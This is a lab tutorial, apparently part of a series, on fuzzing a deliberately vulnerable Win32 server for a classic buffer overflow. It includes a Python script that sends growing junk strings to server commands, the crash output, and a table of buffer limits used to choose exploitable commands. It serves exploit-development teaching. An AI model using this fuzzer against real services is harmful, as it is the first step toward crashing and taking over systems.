6.3 : Classic buffer overflow - Win32 buffer overflow (Part III)
Lets continue from the last buffer overflow.
3. Submit junk data to vulsever and look for the maximum buffer it can hold.
prope script
import socket, sys
def get_message(length, prepend=None):
"""
prope server
construct request message
:param length:integer total byte
:return: string
"""
ret = ""
if length > 0:
ret = "A" * length
return prepend + " " + ret if prepend is not None else ret
def prope(message):
"""
prope server
:param message: request message
:return: void
"""
host = "192.168.56.102"
port = 9999
res = None
try:
my_socket = socket.socket()
my_socket.connect((host, port))
my_socket.settimeout(1) # add this to prevent freeze the connection
my_socket.recv(2048).decode()
my_socket.send(message.encode())
res = my_socket.recv(2048).decode().replace("\n", "").replace("\r", "")
my_socket.close()
# hide the success , look for failure, we need crash. we need failure.
# print("[success] %s:%s %s => %s" % (host, port, message, res))
except:
print("[error] %s:%s %s => None" % (host, port, len(message))) # modify the output for testing ttl length
raise
# sys.exit()
def main():
# try 5kb prope by 10byte / incremental , see when crash
max = 5000
each = 10
print("testing cmds")
cmds = [
None,
# "STATS"
# , "RTIME"
# , "LTIME"
# , "SRUN"
# , "TRUN"
# , "GMON"
# , "GDOG"
# , "KSTET"
# , "GTER"
# , "HTER"
# , "LTER"
# "KSTAN"
]
for cmd in cmds:
print("testing %s" % cmd)
i = 0
while i < max:
try:
prope(get_message(i, cmd))
i += each
except:
break
print("completed test")
if __name__ == "__main__":
main()
Right now, we have a prope script to fill up the buffer and looking for a EIP
to change the memory address.
Let's try to prope function piece by piece, we need to look for the exact number of bytes that will make it crash.
> python3 exploit.py
testing cmds
testing None
[error] 192.168.56.102:9999 0 => None
completed test
> python3 exploit.py
testing cmds
testing STATS
completed test
> python3 exploit.py
testing cmds
testing RTIME
completed test
> python3 exploit.py
testing cmds
testing LTIME
completed test
> python3 exploit.py
testing cmds
testing SRUN
completed test
> python3 exploit.py
testing cmds
testing TRUN
completed test
> python3 exploit.py
testing cmds
testing GMON
[error] 192.168.56.102:9999 275 => None
completed test
> python3 exploit.py
testing cmds
testing GDOG
completed test
> python3 exploit.py
testing cmds
testing KSTET
[error] 192.168.56.102:9999 76 => None
completed test
> python3 exploit.py
testing cmds
testing GTER
[error] 192.168.56.102:9999 155 => None
completed test
> python3 exploit.py
testing cmds
testing HTER
[error] 192.168.56.102:9999 2045 => None
completed test
> python3 exploit.py
testing cmds
testing LTER
completed test
> python3 exploit.py
testing cmds
testing KSTAN
completed test
Success. Now we have a maxmium buffer byte table. Lets look for which function can be exploited.
In the above code, we tested <= 5000 bytes buffer. So if there is no error, it can hold 5kb max buffers.
Attack Vector | Max Buffer(Bytes) |
---|---|
None | 5kb |
STATS | 5kb |
RTIME | 5kb |
LTIME | 5kb |
SRUN | 5kb |
TRUN | 5kb |
GMON | 140 |
GDOG | 5kb |
KSTET | 60 |
GTER | 140 |
HTER | 2030 |
LTER | 5kb |
KSTAN | 5kb |
Since a win32 exploit needs ~ 350 bytes for the exploit, if the max buffer limited within 350 bytes, that attack vector is not applicable.
Now we have the following vectors for further testing.
- None | 5kb
- STATS | 5kb
- RTIME | 5kb
- LTIME| 5kb
- SRUN| 5kb
- TRUN| 5kb
- GDOG| 5kb
- HTER| 2030
- LTER| 5kb
- KSTAN| 5kb